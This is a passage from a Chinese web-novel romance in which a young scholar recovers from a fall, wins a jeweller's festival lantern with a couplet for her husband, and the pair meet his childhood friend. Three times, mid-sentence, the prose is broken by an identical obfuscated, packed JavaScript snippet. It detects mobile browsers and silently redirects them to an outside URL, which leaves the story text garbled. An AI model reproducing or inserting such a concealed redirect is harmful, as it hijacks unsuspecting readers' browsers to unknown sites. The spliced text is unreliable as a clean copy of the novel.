“秋郎,辛苦你了……”她想起自己在昏迷的时候,隐约中看见秋川白一直陪伴在她的身侧。 那个时候她的意识已经模糊,寒冷已经将她所有的知觉剥夺,就在感觉自己即将被黑暗吞噬的时候,她听到了有人在不停地唤她。 “忆安……忆安……” 一声声的呼唤将她从寒冰地狱中救起,她想回应,却连张开嘴的力气都没有,只好任由那人一直唤下去。 等她恢复了一些力气,努力睁开眼时,便看见秋川白紧张地跪坐在她身边。 “吓到你了,对不起。”柳忆安努力伸出手,轻抚过秋川白凌乱的发丝。 眼见小两口在自己面前浓情蜜意的模样,曲氏觉得自己在房中略显多余,尴尬地站起身离开,“我去找明大夫来看看,你们俩先聊。” 不一会儿,明大夫便带着采薇来到房间,两人为柳忆安检查了一番,确认她除了一些皮肉伤并无其他问题后,明大夫叮嘱道:“我开几剂汤药给你,记得按时服用。这几日,你先不要去书院了,在家好好休养,否则定会落下病根,莫要因小失大。” 秋川白接过药方,郑重地承诺道:“明大夫放心,我会叮嘱她按时服药的。” “柳忆安这孩子,是我看着长大的,从小就只关心学业,其他事情概不上心,如今可算是有人管着了。”明大夫看到秋川白紧张的模样,忍不住打趣她俩。 采薇也跟着开玩笑,“可不是嘛,你出事之后,你夫君可紧张你了,就算为了让你的夫君少担惊受怕一些,你也得好好吃药啊。” 柳忆安和秋川白两人闻言,脸都红了起来,不敢直视彼此。 “既然一切安好,那我就先回医馆了,这几日便让采薇住在柳府吧,待你完全恢复了,再让她回医馆。”明大夫说罢,起身收拾好药箱后,随后离开了房间,采薇也去到厨房熬药。 房间里仅剩下柳忆安同秋川白两人,只是谁都不好意思先开口,于是就这么沉默着。 “你……” 突然,两个人同时开口,却又同时停住。 房间又回到寂静的状态。 最终,柳忆安打破了沉默,她轻轻咳了一声,小声说道:“昏迷的时候,我看到你了。” 秋川白不知道该如何回应,只好简单地回答了一个“嗯”字。 “你不必为我涉险,这种危险的事情,以后不要做了。”柳忆安的语气中带着不容置疑的坚决。 秋川白抿了抿嘴,明明是关心的话,他听着却有些不舒服,“你不必在意,我是为了报答你对我的恩情,不愿欠你太多。” “不。” 听到柳忆安的否认,秋川白讶异地看向了她,不明白柳忆安是什么意思。 随后,他看见柳忆安嘴角扬起一抹温柔的笑,望向他的目光好似一缕春日的暖阳,将他笼罩其中。 “如今我们并非互不相欠,恰恰相反,我们都欠了彼此太多,恐怕需要很长的时间才能还清。” 8. 困惑 柳忆安的话让秋川白困惑了很多天,他不明白柳忆安是什么意思。 互相亏欠?这是何意? 柳忆安不会反悔了吧,莫非她不愿与他和离了? 他承认自己与柳忆安的相处很愉快,但是他并不认为这就意味着这门亲事是正确的。 每当他躺在榻上,都忍不住琢磨柳忆安那句话的含义,连续几日睡不着,眼下乌青一片。 柳忆安发现秋川白这些日子的状态越来越糟,以为是照顾她过于辛劳所致。当秋川白又一次不小心被桌案绊倒后,她将小霜叫到身边。 “秋郎这几日看着有些心力交瘁,他若是再主动操劳,你务必拦住他。” 柳忆安吩咐完,看见小霜在捂嘴偷笑。 “小姐,你是不知道,这几日你的起居饮食,秋少夫全都要亲自过问,连煎药都要在一旁亲自盯着。” “难怪…”柳忆安喃喃道。 竟不知他将自己如此挂在心上。 柳忆安掩盖住内心的悸动,故作镇定道:“咳,今后切勿再让他如此劳累了。” 让小霜退下后,柳忆安拿起枕边的书,这几日虽然养病在床,但她丝毫不敢懈怠,一有空便温习功课。 今日这书却是无论如何都看不进去,柳忆安的脑海里总是浮现出秋川白的身影,小霜的话在她耳边挥之不去。 他也是惦念自己的对吗?他对她,是否也有了不一样的心意? 柳忆安握住书卷的手微微收紧,目光望向窗外,心里泛起一阵暖意。 突然,门外传来一声高呼。 “柳妹!柳妹!” 是柳忆安的同窗好友萧韵前来看望她。 听闻柳忆安出了事,萧韵本想第一时间来探望,但因近来事务繁多,再加上旁人劝她最好等柳忆安恢复些许后再来问候,否则只会给柳府平添麻烦,于是她等到今日才来。 “萧姐姐,你怎么来了?” 看到好友前来,柳忆安十分惊喜。 “你如今怎么样了?”萧韵将椅子拖拽到柳忆安枕边,仔细地将柳忆安从头到脚打量了一遍。 “现下问题不大,就是腿脚还有些不便,很快就回去书院了。”柳忆安指了指左腿,“这条腿被树枝划伤了,好在没有伤到骨头。” “你说说,回家成个亲而已,好好的人摔成了这样。”萧摇了摇头,表示无奈,“不过,今日怎么没见你夫君?” “他最近一直照顾我,在府里忙得团团转,除了吃饭和用药,这几日我也很少见他。”说到秋川白,柳忆安脸上浮现出几不可察的红晕。 看到柳忆安羞涩的表情,萧韵充满玩味地挑了挑眉,“看来你和妹夫二人感情很好啊,恭喜柳妹觅得良人。” “萧姐姐你别打趣我,你和姐夫才是全书院公认的仙侣,”柳忆安顿了顿,十分真诚地看向萧韵,“我还想向姐姐请教一二呢。” “向我请教?但说无妨。” “姐姐你平日里,是如何向姐夫表示心意的。” 柳忆安的声音越来越小,到最后连自己都听不太清,更别说萧韵。 萧韵从没见过柳忆安这幅娇羞的模样,饶有趣味地逗她:“表示什么?柳妹如何害羞成这样?” 柳忆安咬咬牙,鼓起勇气,坚定地问出来:“请问萧姐姐平日里是如何向姐夫表示心意的?” 看到柳忆安羞赧的模样,萧韵目的达成的,也不再逗她,认真地将自己的经验传授给柳忆安:“这夫妻二人相处,千万不要自以为是,你须得了解对方的喜好才行。有人喜欢金银财宝,你就准备金玉珠翠给他。有人喜欢吟风弄月,你就送他名家墨宝。你夫君喜欢什么?说与我听听,我给你出谋划策。” 柳忆安陷入回忆,秋川白从没在她面前表达出明显的喜恶。 思索片刻,柳忆安才缓缓开口:“其实,我并不了解秋郎的心思,他未曾告诉过我,我也不曾主动了解。”她顿了顿,语气中带上了几分自责,“都怪我平日里与他交流不多,连他喜欢什么都没头绪。” “无妨无妨,我还有个主意。”萧韵听罢,拍了拍柳忆安的手背,以示宽慰,“过几日便是花灯节,最大的那家首饰铺,好像叫什么玉锦斋,这两年都会在花灯节当晚征求诗句,诗句被采用的人能得到定制的花灯。据说那花灯雕工十分精巧,有很多人愿意花高价求购。你若赢得这盏花灯,将其赠与你夫君,想必他一定十分欢喜。” 花灯节是裕朝最大的节日之一,是人们庆祝春天到来的节日。在这一天,男子会在花灯上写下心愿,将其点亮并挂在门口,取好运登门的意头。 若女子有心仪之人,便可将自己挑选的花灯赠予心上人,若男子将女子所赠花灯挂在门口,意味着男子接受了女子的告白。 因为这个习俗,花灯节也成为了年轻人表达心意的日子,商家会在这一天推出各类精巧的花灯供人挑选。 而玉锦斋定制的花灯因工艺精细,并饰以名贵珠宝,成为花灯节最引人瞩目的焦点之一,是无数男子的心之所向。 往年,柳忆安并不在意这些节日,因为无论多热闹的节日,她都在埋头苦读,无心参与其中。 也因此,她对玉锦斋花灯一事并不知晓。 今日听了萧韵的话,柳忆安觉得这是个不错的主意。 她还记得大婚当夜,秋川白想要和离的理由是,想要同情投意合之人相伴一生。 经过这几日的观察,她确认了对方并非已有心上人,他对这门的不满,似乎仅仅是因为这件亲事为母父指婚。 而在自己摔下山崖后,他不顾自身安危,第一时间来到山脚救她,这几日又不分昼夜照顾自己,是否说明他已经对这门亲事有所改观? 她若及时向他表明自己的心意,能否成为他所谓的情投意合之人呢? 她决定为秋川白赢得这盏特殊的花灯,并在花灯节向他诉说自己的心意。 “姐姐,你能否详细说说这个花灯的事情?玉锦斋征求的又是什么样的诗句?” “这个啊,好像是花灯节那日上午,玉锦斋会在门口放出今年的题目,往来的人可将自己写的对句及姓名放入匣中。等到亥时,掌柜的会挑出最喜欢的词句,将花灯赠与其作者。之后还找工匠将对句刻于木板,悬挂铺门两侧。”萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791797|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韵十分了解这些风花雪月的事情,对着柳忆安侃侃而谈。 柳忆安闻言,不禁感慨道:“这玉锦斋的掌柜真是个有雅趣的人。” “谁说不是呢,自从举办这个活动,每年花灯节,玉锦斋的门口都挤满了人,一是好奇玉锦斋今年的花灯长什么模样,二来便是好奇今年又是谁赢得了花灯,这花灯又赠给了哪位佳人。”想起往年的热闹,萧韵啧了啧,“柳妹,若想赢下这灯,恐怕你得花一番心思了。” “萧姐姐对我没有信心?”柳忆安打趣地问道,刚才她被萧韵逗弄了许久,终于找到了机会反击。 “哪能啊!妹妹你在我眼里简直是文曲星下凡,若是可以下注,姐姐我定将全部身家都投给你。”萧韵眨了眨眼,挪揄道。 一席话说完,柳忆安忍俊不禁,两人相视一眼,都哈哈大笑了起来。 柳忆安想留萧韵留下来用晚饭,对方却摆摆手,“我家夫郎还在家中候着我呢,就不叨扰你了,等花灯节那日,我要亲眼看我的柳妹妹拿下今年的花灯。先走了,告辞。” 说完,小霜便领着萧韵出府了。 算了算,花灯节也没几日了,想来那个时候自己的伤已经好得差不多了。 她一定要拿下那盏花灯,让秋川白明白自己的心意。 萧韵前脚刚走,秋川白便为柳忆安送来了晚膳。 “这几日辛苦你了,”柳忆安想邀请秋川白一同去花灯节,小心翼翼地开口说道,“花灯节马上要到了,我想与你一同去集市瞧瞧,不知你是否愿意?” 柳忆安的邀请让秋川白十分意外,他将盛好的汤递到了柳忆安手中,犹豫地开口:“你的伤……” 害怕秋川白拒绝自己,柳忆安连忙说道:“伤口基本已经愈合了,不会有问题的。我在家躺了这么长时日,感觉这幅身子都不是自己的了,你就陪我出去走走吧。” “好,那我陪你一同前去。”秋川白接受了柳忆安的邀请,但是同意之后就匆匆离开了。 在成亲之前,花灯节可以说是秋川白最期待的日子,他喜欢沿着河边慢慢走,看着一对对佳偶们挑选花灯,互诉衷肠。 他也曾幻想过和自己的爱人手牵手,一起在集市上闲逛,直至各家各户的花灯将整个云州城点亮。 如今他被母父逼着成亲了,之前所有的幻想都已经破灭,他今年本不想再去花灯节凑热闹,省得心烦。 但是柳忆安开口邀请了他,考虑到她卧床养伤,许久没见过什么热闹,秋川白不忍拒绝她,挣扎之下还是点头同意了。 花灯节在秋川白眼里,是两情相悦的人一同期许来年的节日。而他和柳忆安,不过是强行被母父凑成一对的妻夫,而且已经签订了和离书,想来明年的今日两人已经各奔前程。 如此尴尬的身份,一同去花灯节集市,未免太过扫兴。 秋川白又想到了柳忆安之前说的“欠了彼此太多”,他还未想清楚柳忆安到底是什么意思,或许这次同她一起去花灯节,可以问个清楚。 不管怎么样,他还是得同柳忆安说清楚,和离书已经签下,一年后,无论如何,他都一定会离开。 9. 同逛集市 虽然柳忆安下定决心要拿到玉锦斋的花灯送与秋川白,但她并没有十足的把握赢得比赛。 于是,在花灯节的前几天,她让人将自己收藏的一块白玉原石制成玉簪,拿到玉簪后,又亲自在其上刻了一朵并蒂莲。 若没有赢得玉锦斋的花灯,这个玉簪也可以略表自己的心意,只是比不上花灯那么令人惊喜罢了。 柳忆安此前未曾雕刻过这种精细玩意,又因为害怕被秋川白发现,雕刻的时候总是在留意着秋川白的动静,心不在焉之际,被刻刀划伤了手。 秋川白发现了柳忆安的伤口,觉得这伤来得莫名其妙,便问道:“你这手怎么突然受伤了?” “大约是前几日裁纸的时候不慎划伤了。”柳忆安嗫嚅道。 秋川白点点头,毕竟从那么高的地方摔下来,即便伤口已经恢复不少,但行动总归受些影响。 他把柳忆安的受伤看作了自己的失职,为了避免柳忆安再添新伤,他默默地承包了裁纸的工作。 这几日,秋川白有意减少与柳忆安独处的时间,却又不愿表现得过于刻意,便主动揽下了许多琐碎的活计。 当然,也不仅仅是为了躲避柳忆安。他在努力兑现大婚那夜的承诺:扮演一个合格的夫婿,帮助柳忆安考取进士。 这样一来,他心中的愧疚才可消减。 曲氏将他的忙碌看在眼里,告诉他不必事事亲力亲为。 “川白,有些事情你吩咐下人去做就行了,你这样太过辛劳,别累坏了。” 秋川白早已备好一套得体的说辞:“多谢父亲的关心。我刚嫁进来,对府里的各类事物还不甚了解,亲自上手更容易熟悉。” 曲氏听了这番话,心中对这个女婿愈发满意,便也不再多加干涉。 柳忆安注意到,这几日温习功课之前,桌上的纸不再是一整张,而是被裁成书册的大小。 “小霜,这纸是你裁好的吗?其实纸不用提前裁,有时还需要用整张的。”柳忆安随口问起小霜。 小霜露出疑惑的神色,“咦?我没有裁过呀,我知道小姐的习惯,从来没动过这些纸。” 柳忆安这才想起前几日自己和秋川白对话,想来是自己随口胡诌的回答被秋川白记住了。 “小姐,我去问问是谁做的吧,告诉大家以后不要动小姐的书桌。”说罢,小霜向门外走去。 “不…不必了,”柳忆安叫住小霜,“这纸裁得挺好的,就这样吧。” 秋川白有时刻留意她的变化,也将她的话记在心里,暗地里为她做了事情。 柳忆安很喜欢这种感觉。 「原来两情相悦是这种感觉吗?」 不知不觉中,一抹红晕从柳忆安的脸颊蔓延至耳朵。 *** 花灯节当日上午,柳忆安避开众人,带着小霜悄悄前往玉锦斋。 柳忆安到的时候,玉锦斋门口已经挤满了人,所有人都在翘首以盼,好奇今年的题目是什么。 “各位客官,今年的题目为‘锦梦’二字,各位可根据自己的理解题下对句。今夜亥时,欢迎各位一同前来欣赏今年的胜作。”小二在门口大声地宣传。 得知了题目后,柳忆安回到府里细细琢磨起来。 掌柜的会想将怎样的对句挂在门口招徕顾客呢? 在桌前坐了半日,柳忆安终于想出了一个满意的答案。 这句诗,既是她写下的答案,也是她还未宣之于口的表白。 她将想出的对句和姓名写在纸上,吩咐小霜将其投放到玉锦斋门口的木匣中。随后,便开始梳妆打扮。 打开衣柜,里面是清一色的暗色素衣,不见什么鲜艳的颜色。柳忆安翻找了许久,觉得一条绣着双鱼戏莲纹样的淡粉色襦裙还算合心意。穿上后,柳忆安觉得还是有些寡淡,又配上了一件藕色素纱褙子。 小霜还未回来,她便自己尝试着梳一些时兴的发髻,却不想手忙脚乱半天,头发还是乱糟糟一团。 柳忆安瞧着镜子里自己头发散乱的样子,无奈地叹了一声气。 这时,小霜推门而入,看见自家小姐坐在镜子,用手在头发上胡乱比划着,同时嘴里还唉声叹气。 小霜一下就猜到刚刚发生了什么,她走到柳忆安身后,拿起篦子,将柳忆安的头发理顺。 “小姐,今日是想梳个特别的发式吗?让小的来为你梳妆。” 看见小霜回来,柳忆安仿佛见到了救星。 “你快看看我今日的穿着,该梳个什么发式合适?” 柳忆安此前甚少花费时间在穿着上,最爱穿的便是棉质暗衣。从前曲氏还喜欢给柳忆安买一些颜色艳丽的服饰,只是柳忆安永远都带着深色或者玄色的衣服去书院。于是,渐渐地,曲氏便很少为柳忆安买明艳的衣服,转而挑选些素雅的料子。 小霜被穿着淡粉色襦裙的柳忆安惊艳到,眼睛看得直愣愣的。 “粉色好衬小姐的模样,小姐以后再总是穿着深色的衣服了,也试试别的颜色嘛。” 小霜仔细地瞧了会儿,想到了一个适合的发式。 她从柳忆安头发左右两侧各取了三指宽的发束,用簪子固定在头后,形成垂落在肩头的发环。接着,小霜将余下的长发梳顺,用发带将发尾轻轻扎起。 “小姐,您看看这样可以吗?”梳完头发,小霜询问柳忆安的意见。 柳忆安看着镜子里的自己,觉得十分不习惯。倒也不是难看,就是觉得自己这幅模样有些奇怪。 “不然我还是换回往日的装扮吧。”柳忆安的目光开始躲闪。 小霜不解,“小姐这样打扮好看极了,同天上的仙子一般,为何要换回平日的打扮呢?” “真的吗?”小霜的话令柳忆安找回了一些信心。 小霜疯狂点头,“小姐就放心吧,这么打扮一定可以惊艳到秋少夫。” 梳妆完毕,柳忆安便准备叫秋川白一同出门。 她小心翼翼地将刻好的玉簪藏好,随后前往卧房门口,呼唤秋川白。 “秋郎,你收拾妥当了吗?我们可以出门了。” “稍等,马上出来。” 秋川白很快就从房间里出来了,他一打开门,映入眼帘的便是候在一旁的柳忆安。 粉色的裙摆衬得她愈发清丽柔婉,藕色的纱衣映射着霞光,为柳忆安笼罩上一层朦胧的美感。 秋川白的目光不由自主地停留在柳忆安身上。 觉察到秋川白直愣愣的目光,柳忆安努力克制住想要躲闪的冲动,抬头与他对视,柔声地问:“怎么愣住了?” 这下,倒是秋川白被柳忆安看得不好意思了,他慌乱地低下头,回复道:“第一次见你如此打扮。” 秋川白的反应让柳忆安不安,“是不适合我吗?那你稍等一下,我换身衣服。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791798|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不…不是,挺适合你的,这么穿很好看,不用换。”秋川白话锋一转,“你今日感觉如何,行动是否还有不便之处?” 没意识到秋川白在转移话题,柳忆安只当他在关心自己。 “放心吧秋郎,多亏了你,这段时日我休养得很好。” “那就好,我们出发吧。若是途中感到身体不适,记得告知于我。” *** 集市上,各种商品琳琅满目,所到之处到处是成双成对的情侣。 柳忆安和秋川白并肩而行,却因为两人心里都有事,谁也没有开口说话。 柳忆安心里牵挂着玉锦斋的比试,她提前预定了附近的酒楼,想带着秋川白去那里用晚膳。 在她的计划中,两个人用完晚膳,沿着街道慢慢散步。在亥时左右,装作不经意路过玉锦斋门口,刚好能看到掌柜宣布今年的胜作。 若胜者是自己,她便将花灯赠予秋川白。若胜者为她人,她便带着秋川白去附近摊位挑选别的花灯,再寻找机会把准备的玉簪交给他。 她一遍盘算着今夜的计划,一边默默前进,没有留意到身边的人也同样沉默不语。 秋川白心里同样不安,他在思索应该在什么时候将心中的疑惑同柳忆安问个明白,告诉她自己一定会在一年后离开。 同时秋川白默默庆幸,还好当初签了两份和离书,自己留有一份,不然对方若是反悔,他也无可奈何。 两个人就这样安静地并肩前行,直到一个清脆的声音叫住了她们。 “漂亮姐姐,你要不要给你的漂亮哥哥买一束花呀。” 是一个趁着节日出来卖花的小女孩。 “这梅花可香了,都是我今天采的。” “那就拿一束给我吧。”柳忆安微微一笑,掏出几枚铜钱递给了小女孩。 小女孩欢喜地接过铜钱,将一大束花捧在柳忆安面前,高兴地说道:“漂亮姐姐,我喜欢你,我多送你一束花,你挑两束走吧。” 虽然不知道拿两束花有什么用,但柳忆安不想拂去小女孩的心意,认真地挑选了两束。 小女孩开开心心地跑开了,柳忆安将两束花递给秋川白,“秋郎,这花便送给你吧。” 秋川白看着眼前的花束,心中复杂难言,沉默了一瞬后,他将花束抱走。 “多谢妻主。” 秋川白低头看着手中的梅花,梅花的味道扑鼻而来,是他平日里最喜的清幽之气,今日却显得有些苦涩。 柳忆安觉察出秋川白的神色有些僵硬,便询问道:“秋郎,你怎么了,是不喜梅花吗?” 秋川白摇摇头,“只是觉得周围有些吵闹,不打紧,我们继续走吧。” 见秋川白兴致不高,柳忆安提议道:“不如我们去酒楼坐坐,那里清净一些,刚好我有些累了。” “我定了醉仙楼的雅间,”她柔声说道,“那里是观赏灯景的好位置。” 秋川白本就是为了陪同柳忆安才来的,自然是随着柳忆安的心意,于是两人便往醉仙楼走去。 醉仙楼在花灯集市临水的一侧,在这里用餐,不仅能看见热闹的集市,还能望见湖边燃起的烟火。因此这里的雅间极难预定,正好萧韵是醉仙楼老板的朋友,才帮柳忆安定到了一间。 小二确认了两人的身份,正要带二人往楼上走去时,身后突然传来一声呼唤。 “川白弟弟?是你吗?” 10. 重逢故人 “是顾家姐姐,许久不见。”秋川白惊喜地喊道。 “自我从云州城搬走,如今一晃竟有七年之久了,这几日我回来办点事情,本想过两天去你家中拜访,没想到今日在这里遇到你。” 来者是顾允,秋家多年前的邻居。小时候的秋川白喜欢缠着顾允一起玩,甚至连自己家都不愿意回。而顾家的长辈也很喜欢像瓷娃娃一样的秋川白,总是喜欢用玩笑话逗他。 “不然你长大后就嫁到我们家吧,做你顾姐姐的夫郎如何?” 秋川白不知道夫郎是什么意思,只知道做了顾姐姐的夫郎就能一直和她待在一起玩,于是他总是大声地回答道:“好啊,那我要嫁给顾姐姐,你们说话要算话啊。” 两家的长辈总是会被逗得哈哈大笑。 随着两个孩子逐渐长大,也知道了何谓嫁娶,何谓夫郎,再次面对长辈的玩笑话时,秋川白不再回应,而是装作听不见,默默地躲到顾允的身后。 “孩子长大了,还知道害羞了。”两家的家长还是哈哈大笑,尽管秋川白并没有什么回应,但是长辈们依然能从这种玩笑话中获得乐趣,而这种打趣也一直持续到顾家搬走那天。 “秋川白,和顾姨还有顾允姐姐说再见,她们要搬去京城了。”秋思雨带着小小的秋川白同顾家道别。 “顾姨,我以后再也见不到顾姐姐了吗?”秋川白眨着大眼睛问道。 顾家家主摸了摸他的头,笑着同他道别:“可能没办法天天见到你顾允姐姐了,不过早晚会再见的,小川白可是要嫁进我们顾家当小夫婿的。” 听到不能天天同顾允一起玩,秋川白的眼泪刷地一下掉到地上,但他咬住嘴唇,强忍着没有哭出声。 顾允走到秋川白面前,将一个吉祥结递到秋川白手上。 “秋弟弟,这个吉祥结是府里嬷嬷教我编的,我把它送给你,你带着它,就当我陪着你了,你不要哭。” 秋川白接过吉祥结,哽咽地同顾允道别:“谢…谢谢…,顾允姐姐,祝你,一…一路平安。” 顾允同母亲一起上了马车,待她们消失在大路尽头,秋川白才转身回府。 这些记忆原本已经藏在脑海深处,多年不曾想起,今日和顾允重逢,童年的回忆再次清晰起来。 看见秋川白身侧还站着一位陌生的女子,顾允问:“川白,这位是?” “这位是我的妻主,柳忆安。” 听到柳忆安的名字,顾允双手作揖,向她行礼。 “原来这位就是柳举人啊,久仰女君大名,幸会幸会。” 柳忆安连忙回礼,“顾女君不必客气,既然是秋郎的好友,便也是我的朋友。” 客气寒暄了几句后,顾允语气中带着几分热切地问道:“今日我是一个人来此地用餐,不知可否同你们一起,许久不见川白弟弟,正好叙叙旧。” 秋川白踌躇地看向柳忆安,不知道该不该答应对方的请求。 他和顾家姐姐认识的时候年龄尚小,多年未见,虽然重逢令人欣喜,但若久处,也多了几分生疏与尴尬。 柳忆安却误解了秋川白的表情,以为他想同顾允叙旧,但碍于自己在场不好意思答应,便替他承应了下来。 柳忆安抬手做出“请”的动作,“刚好我预定了雅间,同顾女君相逢便是缘分一场,大家一起过节也更热闹,请。” 三人一同走进雅间,秋川白和柳忆安坐在一侧,顾允坐到了秋川白对面。 “在我的记忆里,川白弟弟还是那个小棉花团子的样子,如今竟都嫁了人,时间真是快啊。”顾允笑着望向秋川白,嘴里感慨道。 顾允随即又将目光转向柳忆安,语气变得多了几分钦佩:“早听闻云州城内有女君未及弱冠便中了举人,没想到竟是川白弟弟的妻主,我们真是有缘分。” 话毕,顾允举起酒杯,一饮而尽。 “这一杯我敬女君。” 柳忆安见状也回敬了一杯,只是她不善饮酒,喝完后被强烈的气味呛得连连咳嗽。 还未等她平复下来,却听顾允话锋一转。 “川白弟弟都成亲了,我比你年长三岁,却仍是独身一人。” 秋川白听出顾允话里有话,想起了幼时长辈们的玩笑,觉得十分尴尬,赶紧转移话题。 “只是大三岁而已,况且有缘之人,何须计较相逢早晚。顾姐姐,不如给我们讲讲你在京城的事吧。” “是啊,既是有缘,便不怕相逢已晚。”顾允重复着秋川白的话,又举起酒杯一饮而尽。 随后,顾允讲起了这些年她在京城的所见所闻,秋川白在一旁回应她。 而柳忆安,在一旁听得心不在焉。她原本计划晚膳后便和秋川白一同散步前往玉锦斋,现下秋川白同顾允两人相谈甚欢,她不想打断两人的叙旧。 眼看快到亥时,柳忆安决定自己独自前往玉锦斋,留秋川白与顾允二人在此继续用膳。 毕竟能否获胜尚且未知,眼看秋川白同故人聊得开心,还是不要打断他了。 她站起身,打断顾允:“我还有些事情需要处理,需要短暂离开一会儿,二位先用膳。” 秋川白十分惊讶,他不知道柳忆安今日还有别的事情。他刚想开口说要和柳忆安一同离开,却见对方已匆匆下楼。 见状,顾允笑了笑,“柳女君怕是打扰你我叙旧。” 她夹起一个糕点,放进秋川白的盘中,“现下柳女君不在,你愿意同我聊聊你和柳女君的事情吗?刚刚见你们二人似乎很是疏离。” *** 柳忆安赶到玉锦斋门口时,正值掌柜揭晓胜作。 玉锦斋的掌柜身着一袭华袍,提着花灯缓缓走到看台,环视人群一周后,嘴角扬起一抹笑意,大声说道:“感谢各位前来捧场,今年我们玉锦斋也同样收到了很多才子的佳句,令人叹为观止,只是依照规定,花灯只能为一人所有。” 说完,她高高举起花灯,展示给下面的众人。 只见花灯宛若一朵盛开的芙蓉,层层花瓣微微舒展,灯光透过绢面,洒下淡淡的柔光,宛如月色流泻在花间。花瓣上似有露水反射着微光,仔细一看那露水竟是珍珠嵌在其上。花瓣周围镶着的金丝令整个花灯多了几分华贵的气质,将每一片花瓣的轮廓勾勒得愈发精致。灯底的流苏镶嵌着细小的珠玉,随着摆动,映射的光如同星辰般闪烁。 众人纷纷发出惊叹,看到台下的反应,掌柜满意地笑了,她将灯交给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791799|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后的小厮,接过一卷精致的绢帛,缓缓展开。 “若说今年我最爱的一句,便是柳忆安所题的‘初逢如梦醉清秋,回首幽怀意难收’。” 听到自己的名字,柳忆安惊喜地抬起头。 “柳忆安?她今年怎么也来同我们凑这个热闹。” “是啊,她可是举人,她来参加,我们还能有胜算吗?” 四周响起嘈杂的讨论声。 掌柜的继续说道:“今年佳句甚多,我之所以选择柳女君的这句,是因为我们玉锦斋正是在五年前的秋季开业,这些年,凭借品质逐步赢得了许多回头客。而柳女君的这句,不仅贴合题意,更巧妙地映衬了我们玉锦斋这五年的历程。” 掌柜顿了顿,“有请柳女君上台领奖。” 柳忆安尝试挤开拥挤的人群,往台上挪动。看见柳忆安的身影,掌柜的给身边小厮示意,让人为她开路。 *** 方轻尘今日出门采买,本想买完需要的东西后就速速回府,却突然听到了柳忆安的名字。 他发现自己走到了玉锦斋附近,而柳忆安似乎是赢了什么比赛。 他在原地站定,搜索着柳忆安的身影,看见她在一众小厮的包围下登上了看台,从掌柜的手里接过了一盏十分精美的花灯。 他还看见掌柜的同柳忆安说了些什么,但是他站得太远,什么都听不见。 他见柳忆安朝着掌柜作揖道谢,随便拿着花灯走下看台。 人群一下拥到柳忆安周围,想要近距离地欣赏那盏花灯。柳忆安被困在原地之时,他听见玉锦斋的掌柜宣布今夜有优惠活动,于是人群又朝着玉锦斋的大门涌去。 柳忆安小心地护住花灯,从人群中得以脱身。 “柳姑娘,好巧。”方轻尘听到自己叫住了柳忆安。 看到柳忆安的那一刻,方轻尘的头脑顿时陷入空白,他并不知道自己为何突然开口,似乎是身体本能的反应。 “方公子,巧遇。”柳忆安听到有人喊自己,没想到竟是方轻尘。 “姑娘怎么独自来逛集市?”方轻尘担心柳忆安的伤势,“姑娘身体好些了吗?” “多谢方公子挂念,我的身子已经大好。听母亲说方公子那日也出力甚多,还未来得及到府上亲自感谢。” 说罢,柳忆安向方轻尘作揖,随后继续解释道:“我与川白一同来花灯节集市,只是他与故人重逢,仍在酒楼用膳,我先过来取个东西。” “是这盏花灯吗?”方轻尘温柔地笑了笑,“听闻玉锦斋的花灯很难得。” 提到花灯,柳忆安有些不好意思,“是这盏花灯,我想将它作为礼物赠给秋郎,作为他照顾我的答谢。” “原是如此。”方轻尘点点头,“姑娘要回酒楼吗?我陪姑娘回去吧。” “若方公子还没用膳,便和我们一起吧。”柳忆安觉得刚才三个人相处的场面有些尴尬,想邀请方轻尘一同上去。 方轻尘婉拒,“我就不叨扰了,秋府还有些事情待我去忙。” “那好吧。”柳忆安不做强求。 不多时,两人走到醉仙楼附近,却见原本该在雅间的秋川白和顾允并未留在楼中,而是并肩站在楼前。 11. 灯碎 柳忆安离开后的雅间,秋川白看着顾允夹给他的点心不知所措。 他觉得顾允的行为有些越界,但是当着对方的面,他也不好意思直接把点心从碗里扔出来。 他思索了一瞬,把手中的筷子放下,对顾允客气地笑了笑,说道:“妻主性格比较内敛,故而在外人面前显得生疏了些。其实私下里,妻主同我的感情十分深厚。” 看见秋川白没有接收自己的好意,而是放下筷子,顾允心里略有不快,但并未显露出来。 随后顾允拿起茶壶为秋川白斟茶,装作不经意,将茶水倒在秋川白的外袍上。 “呀,真不好意思川白弟弟,手上一时没拿稳,弄湿了你的衣袍。”顾允故作慌张地为秋川白擦拭衣服。 秋川白猛地站起身,和顾允拉开一定距离。 “这不打紧,顾姐姐不必道歉。” “可你这外袍都湿透了,今日天寒,将我的外袍穿走吧,你身子不好,别感冒了。”顾允脱下自己的外袍,塞到秋川白手里。 